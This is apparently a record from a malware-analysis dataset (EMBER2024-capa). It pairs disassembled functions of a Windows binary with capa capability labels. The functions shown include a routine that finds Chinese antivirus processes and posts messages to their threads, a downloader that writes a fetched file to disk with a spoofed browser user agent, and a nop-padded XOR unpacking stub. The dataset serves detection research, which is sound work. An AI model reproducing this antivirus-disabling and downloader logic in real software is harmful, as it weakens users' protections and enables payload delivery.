joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002610
Capabilities:
Enumerate processes
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
mov eax, dword [0x10034028]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0
push 2
mov dword [ebp - 0x180], 0x1003047c
mov dword [ebp - 0x17c], str.360Safe.exe
mov dword [ebp - 0x178], str.360sd.exe
mov dword [ebp - 0x174], str.kxemain.exe
mov dword [ebp - 0x170], str.kxetray.exe
mov dword [ebp - 0x16c], str.kxecenter.exe
mov dword [ebp - 0x168], str.kislive.exe
mov dword [ebp - 0x164], str.QQPCTray.exe
mov dword [ebp - 0x160], str.QQPCTray.exe
mov dword [ebp - 0x15c], str.QQPCRTP.exe
mov dword [ebp - 0x158], str.QQPCLeakScan.exe
call edi
mov ebx, eax
mov dword [ebp - 0x154], ebx
cmp ebx, 0xffffffff
je 0x100026d0
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x100026e6
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008585
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [eax]
xor esi, esi
mov dword [ebp - 0x150], esi
nop dword [eax + eax]
push dword [ebp + esi*4 - 0x180]
lea eax, [ebp - 0x10c]
push eax
call fcn.1000ff9f
add esp, 8
test eax, eax
jne 0x100027b9
mov ebx, dword [ebp - 0x128]
push eax
push 4
call edi
mov edi, eax
cmp edi, 0xffffffff
je 0x100027ad
lea eax, [ebp - 0x14c]
mov dword [ebp - 0x14c], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x100027a2
nop dword [eax]
cmp dword [ebp - 0x140], ebx
jne 0x1000278a
push dword [ebp - 0x144]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x1000278a
push 0
push 0
push 0x12
push dword [ebp - 0x144]
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x14c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10002750
mov esi, dword [ebp - 0x150]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebx
jmp 0x100027b3
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
inc esi
mov dword [ebp - 0x150], esi
cmp esi, 0xb
jb 0x10002700
mov esi, dword [ebp - 0x154]
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100026f0
push esi
call ebx
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008585
mov esp, ebp
pop ebp
ret
Function at 0x10002800
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x10034028]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0
mov ebx, ecx
push 2
mov dword [ebp - 0x23c], ebx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x238], esi
cmp esi, 0xffffffff
je 0x10002857
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x10002869
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008585
mov esp, ebp
pop ebp
ret
mov byte [ebp - 0x231], 0
push edi
lea eax, [ebp - 0x20c]
lea edx, [eax + 2]
nop word [eax + eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10002880
sub eax, edx
mov edi, ebx
sar eax, 1
cmp dword [ebx + 0x14], 8
jb 0x10002899
mov edi, dword [ebx]
mov ebx, dword [ebx + 0x10]
lea edx, [ebp - 0x20c]
cmp eax, ebx
mov esi, ebx
cmovb esi, eax
test esi, esi
je 0x100028c2
mov ecx, edx
sub edi, ecx
mov cx, word [edi + edx]
cmp cx, word [edx]
jne 0x100028c8
add edx, 2
sub esi, 1
jne 0x100028b1
cmp ebx, eax
jb 0x100028c8
jbe 0x100028e8
mov esi, dword [ebp - 0x238]
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x100028f5
mov ebx, dword [ebp - 0x23c]
jmp 0x10002871
mov esi, dword [ebp - 0x238]
mov byte [ebp - 0x231], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x231]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10008585
mov esp, ebp
pop ebp
ret
Function at 0x10002920
Capabilities:
Create http request
Delete file
Download and write a file
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10024
call fcn.10009420
mov eax, dword [0x10034028]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible__MSIE_8.0__Windows_NT_6.1__Trident_4.0_
mov esi, edx
mov edi, ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
je 0x10002a73
movups xmm0, xmmword [str.Accept:___r_n_r_n]
lea ecx, [ebp - 0x14]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x14], xmm0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002970
push 0
push 0x84000100
sub ecx, edx
lea eax, [ebp - 0x14]
push ecx
push eax
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x10002a73
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 1
push 0
push 2
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10002a73
push 0
lea eax, [ebp - 0x10020]
mov dword [ebp - 0x10018], 0
push eax
lea eax, [ebp - 0x10018]
mov dword [ebp - 0x10020], 4
push eax
push 0x20000005
push edi
mov dword [ebp - 0x10024], 0
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
neg eax
sbb eax, eax
and dword [ebp - 0x10018], eax
lea eax, [ebp - 0x1001c]
push eax
push 0x4000
lea eax, [ebp - 0x10014]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10002a64
mov eax, dword [ebp - 0x1001c]
test eax, eax
je 0x10002a86
push 0
lea ecx, [ebp - 0x10024]
push ecx
push eax
lea eax, [ebp - 0x10014]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x1001c]
push eax
push 0x4000
lea eax, [ebp - 0x10014]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10002a24
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008585
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008585
mov esp, ebp
pop ebp
ret
Function at 0x10004ed0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x10004f02
jl 0x10004ef5
test ecx, ecx
jne 0x10004f02
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10004fc2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.10005f70
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x10004f6e
jg 0x10004f2d
test esi, esi
je 0x10004f6e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x10004f45
mov eax, dword [esp + 0x10]
jl 0x10004f3f
cmp eax, esi
jae 0x10004f45
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.10009ad0
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x10004f8f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x10004fab
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x10004f14
jl 0x10004fab
test ecx, ecx
jne 0x10004f14
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x10005006
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x10005006
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.10009ad0
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x10005077
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x1000502c
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x10005062
nop dword [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.10010420
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x10005077
cmp edi, eax
ja 0x10005040
test edi, edi
je 0x10005077
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.10010420
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10005ff0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10024420
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10034028]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10008598
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.1000797a
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100060c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002444d
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10034028]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0xc], 0
call fcn.10008598
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.1000797a
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp + 8]
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov ecx, dword [esi + 4]
mov dword [ebp - 0x10], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 1
push eax
call fcn.10006500
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0x20
mov eax, dword [edx + 0x20]
call eax
mov dword [ebp - 4], 0xffffffff
mov bl, al
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x100061b5
mov edx, dword [ecx]
call dword [edx + 8]
test eax, eax
je 0x100061b5
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [edi + 0x38], 0
mov byte [edi + 0x40], bl
jne 0x100061ce
mov eax, dword [edi + 0xc]
mov ecx, edi
push 0
or eax, 4
push eax
call fcn.10001e20
cmp byte [ebp + 0xc], 0
je 0x100061dd
push edi
call fcn.10007bc0
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1001693c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10028e50
push 0x10028e48
push str.FlsAlloc
push 0x1e
call fcn.10016806
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10016970
push dword [ebp + 8]
mov ecx, esi
call dword [0x100251c4]
call esi
jmp 0x10016976
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100169ba
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10028e60
push 0x10028e58
push str.FlsGetValue
push 0x20
call fcn.10016806
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100169f1
push dword [ebp + 8]
mov ecx, esi
call dword [0x100251c4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10017dfe
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10017c6f
Function at 0x10018300
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.10009420
mov eax, dword [0x10034028]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.100134b3
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x10018342
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x1001849e
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.10023d40
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x100358a0]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.100190fb
mov ecx, dword [esi*4 + 0x100358a0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x10018497
cmp eax, dword [edi + ecx + 0x24]
jne 0x10018497
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10018497
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100190fb
add esp, 0x14
test edx, edx
jl 0x10018497
jg 0x1001840d
test eax, eax
jb 0x10018497
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x10018497
jl 0x10018427
cmp dword [ebp - 0x1008], eax
ja 0x10018497
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x10018445
test ebx, ebx
je 0x1001847e
cmp ecx, edi
jae 0x1001847e
mov al, byte [ecx]
cmp al, 0xd
jne 0x1001845f
lea eax, [edi - 1]
cmp ecx, eax
jae 0x1001846b
cmp byte [ecx + 1], 0xa
jne 0x1001846b
inc ecx
jmp 0x1001846b
movzx eax, al
movsx eax, byte [eax + 0x10034288]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x10018445
cmp edx, ebx
jne 0x10018445
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x1001849c
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10008585
leave
ret
Function at 0x10018599
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x100358a0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100185d9
cmp byte [ebx], 0xa
jne 0x100185d9
or byte [eax + edi + 0x28], 4
jmp 0x100185de
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x100186dc
mov al, byte [edx]
cmp al, 0x1a
je 0x100186be
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x1001860d
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x10018632
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x1001863c
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x100185ef
jmp 0x100186dc
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100186b9
cmp dword [ebp - 0xc], 0
je 0x100186b9
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x100358a0]
test byte [eax + edi + 0x28], 0x48
je 0x10018693
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x1001867e
mov byte [esi], dl
jmp 0x1001868f
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x100358a0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x100186dc
cmp byte [ebp - 1], 0xa
jne 0x100186a2
cmp esi, ebx
jne 0x100186a2
mov byte [esi], 0xa
jmp 0x100186db
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10019119
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x100186dc
mov byte [esi], 0xd
jmp 0x100186db
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x100358a0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x100186d8
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x100186dc
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100186e5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x100358a0]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10018728
cmp word [esi], dx
jne 0x10018728
or byte [edi + eax + 0x28], 4
jmp 0x1001872d
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x10018880
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x10018860
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x1001876f
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x100187a5
cmp eax, edx
jae 0x100187b1
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x10018747
jmp 0x10018880
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001885c
cmp dword [ebp - 0x14], 0
je 0x1001885c
mov eax, dword [ebx*4 + 0x100358a0]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x10018834
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x100187fd
mov word [esi], cx
jmp 0x10018830
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x100358a0]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x100358a0]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x100358a0]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x10018880
pop ebx
cmp word [ebp - 4], bx
jne 0x10018845
cmp esi, dword [ebp + 0xc]
jne 0x10018845
mov word [esi], bx
jmp 0x1001887d
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.10019119
add esp, 0x10
cmp word [ebp - 4], bx
je 0x10018880
push 0xd
jmp 0x10018879
mov ecx, dword [ebx*4 + 0x100358a0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10018877
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10018880
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1001d2ef
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001d38c
push ebx
push esi
call fcn.1001d2b8
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001c0bf
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001d339
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001d38b
push edi
push eax
call fcn.1001649b
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001d359
call fcn.10016212
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001d38a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001c0bf
add esp, 0x20
test eax, eax
jne 0x1001d378
push edi
call fcn.10016212
jmp 0x1001d380
push ebx
call fcn.10016212
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10023b40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10023b6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10023b6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..rsrc
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x628d6d37
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x656757e9
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
popal
nop
nop
nop
nop
nop
jmp 0x431219